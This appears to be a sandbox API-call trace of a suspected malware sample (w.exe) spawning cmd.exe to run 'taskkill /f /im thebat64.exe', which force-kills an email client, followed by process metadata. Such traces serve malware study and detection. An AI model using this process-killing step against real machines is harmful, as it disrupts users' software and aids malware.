	[0047.964] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im thebat64.exe ", fInfoLevelId=0x1, lpFindFileData=0x27f43c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x27f43c) returned 0xffffffff
	[0047.964] GetLastError () returned 0x3
	[0047.964] GetProcessHeap () returned 0x5c0000
	[0047.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5daa28 | out: hHeap=0x5c0000) returned 1
	[0047.964] GetProcessHeap () returned 0x5c0000
	[0047.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dea38 | out: hHeap=0x5c0000) returned 1
	[0047.964] GetProcessHeap () returned 0x5c0000
	[0047.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6a10 | out: hHeap=0x5c0000) returned 1
	[0047.964] GetConsoleOutputCP () returned 0x1b5
	[0047.965] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a184260 | out: lpCPInfo=0x4a184260) returned 1
	[0047.965] GetUserDefaultLCID () returned 0x409
	[0047.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a184950, cchData=8 | out: lpLCData=":") returned 2
	[0047.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x27f868, cchData=128 | out: lpLCData="0") returned 2
	[0047.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x27f868, cchData=128 | out: lpLCData="0") returned 2
	[0047.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x27f868, cchData=128 | out: lpLCData="1") returned 2
	[0047.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a184940, cchData=8 | out: lpLCData="/") returned 2
	[0047.965] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a184d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a184d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a184d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a184cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a184c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a184c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a184c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a184930, cchData=8 | out: lpLCData=".") returned 2
	[0047.966] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a184920, cchData=8 | out: lpLCData=",") returned 2
	[0047.966] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0047.967] GetProcessHeap () returned 0x5c0000
	[0047.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20c) returned 0x5d2f50
	[0047.967] GetConsoleTitleW (in: lpConsoleTitle=0x5d2f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0047.968] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0047.968] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0047.968] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0047.973] GetProcessHeap () returned 0x5c0000
	[0047.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x400a) returned 0x5d6a10
	[0047.973] GetProcessHeap () returned 0x5c0000
	[0047.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6a10 | out: hHeap=0x5c0000) returned 1
	[0047.974] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0047.974] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0047.974] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0047.974] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0047.974] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0047.974] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0047.974] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0047.974] GetProcessHeap () returned 0x5c0000
	[0047.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x58) returned 0x5d3168
	[0047.974] GetProcessHeap () returned 0x5c0000
	[0047.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x5d5710
	[0047.975] GetProcessHeap () returned 0x5c0000
	[0047.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x34) returned 0x5d31c8
	[0047.975] GetConsoleTitleW (in: lpConsoleTitle=0x27f560, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.976] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0047.976] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0047.976] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0047.976] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0047.976] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0047.976] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0047.976] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0047.976] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0047.976] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0047.976] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0047.976] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0047.976] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0047.976] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0047.976] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0047.976] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0047.976] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0047.976] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0047.976] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0047.976] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0047.976] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0047.976] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0047.976] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0047.976] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0047.976] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0047.976] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0047.976] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0047.977] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0047.977] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0047.977] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0047.977] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0047.977] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0047.977] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0047.977] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0047.977] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0047.977] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0047.977] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0047.977] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0047.977] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0047.977] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0047.977] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0047.977] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0047.977] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0047.977] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0047.977] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0047.977] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0047.977] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0047.977] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0047.977] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0047.977] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0047.977] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0047.977] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0047.977] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0047.977] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0047.977] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0047.977] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0047.977] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0047.977] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0047.977] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0047.977] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0047.977] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0047.977] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0047.977] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0047.978] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0047.978] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0047.978] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0047.978] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0047.978] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0047.978] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0047.978] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0047.978] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0047.978] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0047.978] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0047.978] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0047.978] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0047.978] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0047.978] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0047.978] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0047.978] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0047.978] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0047.978] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0047.978] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0047.978] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0047.978] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0047.978] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0047.978] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0047.978] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0047.978] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x210) returned 0x5d3208
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x46) returned 0x5d3420
	[0047.979] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x418) returned 0x5c07f0
	[0047.979] SetErrorMode (uMode=0x0) returned 0x8003
	[0047.979] SetErrorMode (uMode=0x1) returned 0x0
	[0047.979] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5c07f8, lpFilePart=0x27f080 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x27f080*="Desktop") returned 0x25
	[0047.979] SetErrorMode (uMode=0x8003) returned 0x1
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5c07f0, Size=0x66) returned 0x5c07f0
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5c07f0) returned 0x66
	[0047.979] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.979] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x120) returned 0x5d3470
	[0047.979] GetProcessHeap () returned 0x5c0000
	[0047.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x238) returned 0x5c0860
	[0047.981] GetProcessHeap () returned 0x5c0000
	[0047.981] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5c0860, Size=0x122) returned 0x5c0860
	[0047.981] GetProcessHeap () returned 0x5c0000
	[0047.981] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5c0860) returned 0x122
	[0047.981] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.981] GetProcessHeap () returned 0x5c0000
	[0047.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xe0) returned 0x5c0990
	[0047.981] GetProcessHeap () returned 0x5c0000
	[0047.981] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5c0990, Size=0x76) returned 0x5c0990
	[0047.981] GetProcessHeap () returned 0x5c0000
	[0047.981] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5c0990) returned 0x76
	[0047.981] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.981] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x27edfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x27edfc) returned 0xffffffff
	[0047.982] GetLastError () returned 0x2
	[0047.982] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x27edfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x27edfc) returned 0xffffffff
	[0047.982] GetLastError () returned 0x2
	[0047.982] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.982] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x27edfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x27edfc) returned 0x5c0a10
	[0047.982] GetProcessHeap () returned 0x5c0000
	[0047.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d3598
	[0047.982] FindClose (in: hFindFile=0x5c0a10 | out: hFindFile=0x5c0a10) returned 1
	[0047.982] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x27edfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x27edfc) returned 0xffffffff
	[0047.982] GetLastError () returned 0x2
	[0047.982] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x27edfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x27edfc) returned 0x5c0a10
	[0047.982] GetProcessHeap () returned 0x5c0000
	[0047.983] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d3598, Size=0x4) returned 0x5d3598
	[0047.983] FindClose (in: hFindFile=0x5c0a10 | out: hFindFile=0x5c0a10) returned 1
	[0047.983] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0047.983] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0047.983] GetConsoleTitleW (in: lpConsoleTitle=0x27f2f4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.983] InitializeProcThreadAttributeList (in: lpAttributeList=0x27f17c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x27f244 | out: lpAttributeList=0x27f17c, lpSize=0x27f244) returned 1
	[0047.983] UpdateProcThreadAttribute (in: lpAttributeList=0x27f17c, dwFlags=0x0, Attribute=0x60001, lpValue=0x27f23c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x27f17c, lpPreviousValue=0x0) returned 1
	[0047.983] GetStartupInfoW (in: lpStartupInfo=0x27f138 | out: lpStartupInfo=0x27f138*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8)) 
	[0047.983] GetProcessHeap () returned 0x5c0000
	[0047.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5c0a10
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0047.983] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0047.984] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0047.984] GetProcessHeap () returned 0x5c0000
	[0047.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5c0a10 | out: hHeap=0x5c0000) returned 1
	[0047.984] GetProcessHeap () returned 0x5c0000
	[0047.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xa) returned 0x5cfee0
	[0047.984] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0047.986] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im thebat64.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x27f1d8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im thebat64.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x27f224 | out: lpCommandLine="taskkill  /f /im thebat64.exe ", lpProcessInformation=0x27f224*(hProcess=0x78, hThread=0x74, dwProcessId=0x828, dwThreadId=0x838)) returned 1
	[0047.990] CloseHandle (hObject=0x74) returned 1
	[0047.990] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0047.990] GetProcessHeap () returned 0x5c0000
	[0047.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5ed0 | out: hHeap=0x5c0000) returned 1
	[0047.991] GetEnvironmentStringsW () returned 0x5e4a48*
	[0047.991] GetProcessHeap () returned 0x5c0000
	[0047.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb36) returned 0x5d4090
	[0047.991] FreeEnvironmentStringsW (penv=0x5e4a48) returned 1
	[0047.991] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0048.333] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x27f118 | out: lpExitCode=0x27f118*=0x80) returned 1
	[0048.333] CloseHandle (hObject=0x78) returned 1
	[0048.333] _vsnwprintf (in: _Buffer=0x27f260, _BufferCount=0x13, _Format="%08X", _ArgList=0x27f124 | out: _Buffer="00000080") returned 8
	[0048.334] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0048.334] GetProcessHeap () returned 0x5c0000
	[0048.334] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4090 | out: hHeap=0x5c0000) returned 1
	[0048.334] GetEnvironmentStringsW () returned 0x5d4090*
	[0048.334] GetProcessHeap () returned 0x5c0000
	[0048.334] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb5c) returned 0x5d5ed0
	[0048.334] FreeEnvironmentStringsW (penv=0x5d4090) returned 1
	[0048.334] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0048.334] GetProcessHeap () returned 0x5c0000
	[0048.334] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5ed0 | out: hHeap=0x5c0000) returned 1
	[0048.334] GetEnvironmentStringsW () returned 0x5d4090*
	[0048.334] GetProcessHeap () returned 0x5c0000
	[0048.334] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb5c) returned 0x5d5ed0
	[0048.334] FreeEnvironmentStringsW (penv=0x5d4090) returned 1
	[0048.334] GetProcessHeap () returned 0x5c0000
	[0048.334] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5cfee0 | out: hHeap=0x5c0000) returned 1
	[0048.334] DeleteProcThreadAttributeList (in: lpAttributeList=0x27f17c | out: lpAttributeList=0x27f17c) 
	[0048.334] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0048.334] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0048.334] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0048.334] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a1841ac | out: lpMode=0x4a1841ac) returned 0
	[0048.334] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0048.334] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a1841b0 | out: lpMode=0x4a1841b0) returned 0
	[0048.335] GetConsoleOutputCP () returned 0x1b5
	[0048.335] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a184260 | out: lpCPInfo=0x4a184260) returned 1
	[0048.335] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0048.335] exit (_Code=128) 

Process:
	id = "73"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x46eea000"
	os_pid = "0x828"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "72"
	os_parent_pid = "0x82c"
	cmd_line = "taskkill  /f /im thebat64.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 305
	os_tid = 0x838


Thread:
	id = 306
	os_tid = 0x9c0


Thread:
	id = 307
	os_tid = 0x9bc


Thread:
	id = 308
	os_tid = 0x9cc


Thread:
	id = 309
	os_tid = 0x9e0


Process:
	id = "74"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x49044000"
	os_pid = "0x9d0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
